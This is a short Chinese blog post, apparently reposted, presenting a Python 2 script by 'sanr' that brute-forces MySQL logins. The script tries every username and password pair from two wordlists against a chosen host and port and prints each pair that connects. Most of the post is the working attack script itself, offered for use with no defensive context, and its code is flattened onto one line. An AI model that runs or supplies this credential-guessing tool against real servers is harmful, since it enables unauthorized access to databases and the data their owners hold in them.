Python mysql 爆破
缺点:
不支持网段
单线程
# -*- coding: utf_8 -*- # Date: 2015/5/13 # author:sanr import MySQLdb import os import sys def README(): print ‘+‘ + ‘-‘ * 50 + ‘+‘ print ‘\t Python MySQL爆破‘ print ‘\t author : sanr‘ print ‘\t Time:2015-5-13‘ print ‘\t mysql默认字典在程序目录mysql目录‘ print ‘+‘ + ‘-‘ * 50 + ‘+‘ if len(sys.argv) != 5: print os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 user.txt pass.txt" sys.exit() def mysql_brute(name,pwd): db = None try: db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db=‘mysql‘,port=int(sys.argv[2])) print ‘破解成功: %s %s‘% (name,pwd) except: pass finally : if db: db.close() if __name__ == ‘__main__‘: README() userlist = [i.rstrip() for i in open(‘mysql/‘+sys.argv[3])] passlist = [j.rstrip() for j in open(‘mysql/‘+sys.argv[4])] for name in userlist: for pwd in passlist: mysql_brute(name,pwd)
本文出自 “Sanr” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1651025
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。